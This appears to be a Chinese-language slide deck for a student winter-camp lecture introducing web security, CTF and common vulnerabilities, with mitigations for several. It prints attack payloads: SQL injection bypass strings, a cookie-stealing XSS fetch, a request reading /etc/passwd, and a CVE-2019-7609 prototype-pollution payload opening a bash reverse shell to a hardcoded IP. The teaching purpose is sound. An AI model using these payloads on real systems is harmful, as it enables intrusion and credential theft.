Web Security

講師:堇姬

IZCC寒訓 2024.1.31

堇姬Naup(網管/美宣)

成電二年級/幽夜工作室繪師/台灣好厲駭學員

CKCSC36

DC : naup_sumire_hime

只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗

喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。

一些經歷

  • 台灣好厲駭第八屆學員
  • 金盾獎國高中組 | 決賽
  • T貓盃國高中組 | 冠軍
  • CGGC網路守護者挑戰賽 | 第九名
  • AIS3 EOF | 初賽42名 | 決賽比賽中

漏洞紀錄

  • 成功高中宿疾調查系統

  • 臺北庫克雲網站

...(還有一些不能丟的)

 

Linux娘圖鑑

Ubuntu娘

Arch Linux 娘

Debian娘

Manjaro娘

Unix娘

Fedora娘

openSUSE娘

NixOS娘

ArchLabs娘

LFS娘

Windows娘圖鑑

WIN10

WIN11

WIN95

WIN8

WIN7

Windows Me

Windows 2000

Windows XP

Windows XP HOME

Windows Vista

 Windows CE

Windows Server 2003

Windows NT4.0

WINDOWS 3.1

本日重點

  • 資安是甚麼?

  • CTF

  • web security簡介

  • 簡單攻擊手法

  • web security趨勢

本日目標

slido

資安是甚麼?

甚麼是駭客?

  • 喜歡躲在陰暗角落?

  • 只要打開電腦就能入侵別人系統?

  • 喜歡穿帽T?

  • 感覺很難,都是一些我看不懂的東西?

  • 囂張的在別人電腦留下挑釁訊息?

成為一個web hacker

  • 了解各種網路的運作原理、底層邏輯

  • 觀察力

  • 創造力

  • 一個網站程式怎麼跑的(源代碼、底層、架構、運作方式)

  • 查資料 & 蒐集資訊

簡單來說,要當web hacker你就是要當個機車的使用者

  • 任何東西都可能成為漏洞

  • 沒有絕對安全的網站

  • 不要相信使用者

開發者守則

CTF

Capture The Flag

資安搶旗賽,是現實漏洞的縮影

  • Web

  • Crypto

  • pwn

  • reverse

  • misc

常見五個種類

其他種類

  • forensics

  • OSINT

當你成功解出題目時,會的到一串flag,這就是答案

ex: ckcscCTF{1t_1s_th3_f1a9!}

web security

WEB就是WEB(?

WEB就是網路安全,簡單來說,通靈+非常雜

需要的知識

  • WEB開發知識

  • 編寫腳本技能

  • Linux

  • 網路知識

  • 足夠的靈力
    ......

  • 英文不要看到就討厭,很多文章都是英文不過你可以用翻譯
  • google!!!資安是可以查資料的!!!WEB很多東西很雜,不會的東西就去查
  • 可以試著寫writeup
  • 找到能夠跟你一起打的隊友
  • 可以去多混社群
  • 可以多打比賽跟題目
  • 不要直接貼上flag!!!
  • 可以去玩galgame給美少女幸福,這樣比賽時比較能夠通靈出來

打WEB可以注意

練習網站

在開始前看一下法規

總之要打自己負責

準備好從入門到入獄了嗎?

SQL injection

透過注入 SQL 語句,來修改查詢,進而達到對資料庫的惡意攻擊

SELECT username,password FROM users WHERE username = '{username}' AND password = '{password}'

有洞嗎?

SELECT username,password FROM users WHERE username = 'Naup' AND password = '123'

正常查詢

帳號:Naup

密碼:123

如果我們注入

' OR 1=1 --

SELECT username,password FROM users WHERE username = '' OR 1=1 --' AND password = '123'

防範

  • 針對特殊字元進行過濾

  • 使用「參數化查詢 (Parameterized Query)」來設計資料存取功能。

  • WAF

1. admin' --

2. admin' /*

3. admin' ;

4. ad'||'min';

5. ad'||'min';

username: ad'||'min
password: a' IS NOT 'b

XSS

可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的

反射型 XSS (Reflected)

將惡意程式會藏在網址列裡,放在 GET 參數傳遞

http://www.example.com/upload.asp?id=<script>alert(1);</script>

DOM 型 XSS

把物件嵌入網頁程式碼

<img src=# onerror=”alert(123)”>

儲存型 XSS ( Stored )

將 Javascript 儲存在伺服器的資料庫中

將 Javascript 注入留言板,當下一位 User 瀏覽網頁時,網頁會載入留言板的 Javascript

<script>alert(1);</script>

 

  • 竊取 Cookie

  • 跳轉惡意網站

  • 鍵盤側錄

  • 過濾輸入

  • 將輸入的東西編碼

  • 輸入上限設定

防範

<script>
var flag = document.cookie;
fetch("{url}?cookie="+flag)
</script>

command injection

執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)

#include <stdlib.h>

int main() {
    char input[100];
    scanf("%s", input);
    
    system("cat"+input);

    return 0;
}

這是一個可以輸入文件,來做查詢的程式碼

如果我輸入 vvv.txt 如果有這份文件,就會cat vvv.txt

這樣做有甚麼問題嗎?

如果我輸入vvv.txt;ls

我可以在  ;  後執行任意指令!!

  • 後端邏輯透過指令「串接」的方式

  • 沒有去驗證使用者的輸入

Path traversal

架設網站的時候,會將網頁放在伺服器的某個目錄之下(假設有下列這個)

  • /server/templates/haha.html
  • /server/app.py

網址為 https://naup.com

  • https://naup.com/templates/haha.html

對應到/server/templates/haha.html

若請求

然而如果我嘗試請求

https://naup.com/templates/haha.html/../../app.py

  • 如果沒有過濾就會抓到app.py

  • 有時使用../會被瀏覽器解析,故要將 ../ 進行 Url Encode 變成 ..%2F
  • 產生原因

  1. 伺服器端的檔案權限沒有設定正確
  2. 服務 (Serving) 的目錄,不是白名單的方式,而是由伺服器端的程式碼使用「使用者傳入的字串」組成 目錄字串所造成的
app.get('/templates/:filename', function(req, res){
      var filename = req.params.filename,
          path = `templates/${filename}`;
      return res.sendFile(path, {root: '/server'});
});

如何防禦?

可以直接設定好客戶端訪問的權限

app.get('/templates/:filename', function(req, res){
      var filename = req.params.filename,
      
      path = `${filename}`;
      return res.sendFile(path, {root: '/server/templates/'});
});

題目

很簡單對不對!!!

可惜這美好的時代一去不復返,現在的web security可以用一個字表示

舉個栗子

Off by Slash問題

Nginx

  • Nginx 最主要的功能是作為網頁伺服器,處理來自網路的 HTTP 請求,並返回相對應的內容。
  • Nginx 也常常被使用為反向代理伺服器,這樣可以大大提升網站的效能

http://server/static /main.js

location /static {
	alias /home/app/static ;
}

/home/app/static/main.js

location 

就像是 routing,設定不同的 path 要對應到怎麼樣的設定

哪個有漏洞?

location /static {
	alias /home/app/static ;
}
location /static/ {
	alias /home/app/static ;
}
location /static {
	alias /home/app/static/ ;
}
location /static/ {
	alias /home/app/static/ ;
}

A

B

C

D

location /static {
	alias /home/app/static/ ;
}

C

http://server/static ../settings.py

/home/app/static/../settings.py

代理

PATH TRAVERSAL

你覺得nginx官方對這個漏洞的態度是甚麼?

WEB四大趨勢四大天王

那時候聽orange演講深有感觸

底層

不一致

跨領域

hop-by-hop attack

X-Important-Header被刪掉可能導致意外洩漏資訊

function getUserIP() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
	$ip = $_SERVER['HTTP_CLIENT_IP'];
    
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
	$ip = $_SERVER['REMOTE_ADDR'];
    
} else {
	$ip = 'UNKNOWN';
    
}
	return $ip;
}
GET / HTTP/1.1
Host: naup.tw
Accept: */*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0
Connection: close, X-Forwarded-For

可以RCE嗎?

遠端程式碼執行 (RCE) 攻擊是指攻擊者可在組織的電腦或網路上執行惡意程式碼的攻擊

POST /mgmt/tm/util/bash HTTP/1.1

Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55

{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}

RCE

Web Cache Deception

甚麼是快取?

有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了

這裡有個問題,什麼樣的資料應該被cache?

快取不應該存取任何敏感資訊的公共文件和靜態文件

https://naup.tw/css/test.css

css可以被存取,因為他不是敏感文件

https://naup.tw/profile

不應該被存取,因為你的profile中可能有敏感內容

https://naup.tw/profile.css

會被cache到嗎?

如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結

https://naup.tw/profile.css

Data leak

不會驗證你身分可直接看到!!!

不一致

https://example.com/#@google.com/

{"foo": "bar", "foo": "baz"}

curl -X PUT
 'http://naup.tw'
--data-binary '{
 "type": "user",
 "name": "oops",
 "roles": ["_admin"],
 "roles": [],
"password": "password"
}'

JavaScript

Erlang

Admin

底層

現在有許多成熟的框架,使得很多的時候需要去往底層挖

Prototype pollution

原型鏈污染

var str = "a"
var str2 = str.repeat(5)
console.log(str2)

你有沒有想過當你在用一些內建函式的時候,這些函式是從哪裡來的?

去MDN看一下發現他寫 String.prototype.repeat

因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法

在 JS 中有一個隱藏的屬性,叫做 __proto__

它儲存的值就是 JS 引擎應該往上找的地方

var str = ""
console.log(str.__proto__) // String.prototype

repeat 函式其實是存在於 String.prototype 這個物件上的一個方法

var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }

obj是個空物件

var obj = {}
console.log(obj.toString === Object.prototype.toString) // true

我可以改變prototype上的東西嗎?

String.prototype.first = function() {
  return this[0]
}

console.log("abc".first()) // a

可以

Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123

你發現了嗎?有可以拿來利用的漏洞

我們透過 Object.prototype.a = 123「污染」了物件原型上的 a 這個屬性,導致程式在存取物件時,有可能出現意想不到的行為

if (user.isAdmin) {
// do some privileged operations
}

這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的

http://server/?__proto__[isAdmin]=true

Admin

.es(*).props(label.__proto__.env.AAAA='require("child_process").
exec("bash -c 'bash -i>& /dev/tcp/10.70.53.113/6666 0>&1'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

CVE-2019-7609

RCE

跨領域

隨著web security的進步,只單純會web已經不行了,會需要去學習其他領域,如密碼學,以及跨協議或規範組合的誤用等也是一個可以嘗試發展的點

HTTPoxy attack

CGI & PHP FastCGI規範   (RFC 3875)

  • 伺服器必須對每個請求設置這些元變數  
  • 元變數根據現有的 HTTP Header 加上 HTTP_ 前綴  
  • RFC 無規範元變數要存哪 (但大部分的實作皆放進環境變數)
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5

HTTP_PROXY

是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server

這是個約定俗成的,會直接抓環境變數的來用

export HTTP_PROXY=http://proxy_server

看出問題了嗎?

 快取不應該存取任何敏感資訊的公共文件和靜態文件 

RFC 命名規範跟 HTTP 函數庫約定成俗的變數撞名

GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/

proxy server被當成目標server內部請求來訪問

SSRF

Timeless Timing Attacks

  1. 首先檢查兩個密碼的長度是否相同。如果不是,則拒絕存取。
  2. 檢查第一個字元是否相同。如果不是,則拒絕存取。
  3. 檢查第二個字元是否相同。如果不是,則拒絕存取。
  4. 繼續檢查所有字元。如果可以到達末尾且沒有不匹配,則密碼匹配,並且使用者已登入。

密碼配對演算法

響應時間不同

Q&A

偷曬老婆

Web security-winter camp

By naup96321

Web security-winter camp

  • 62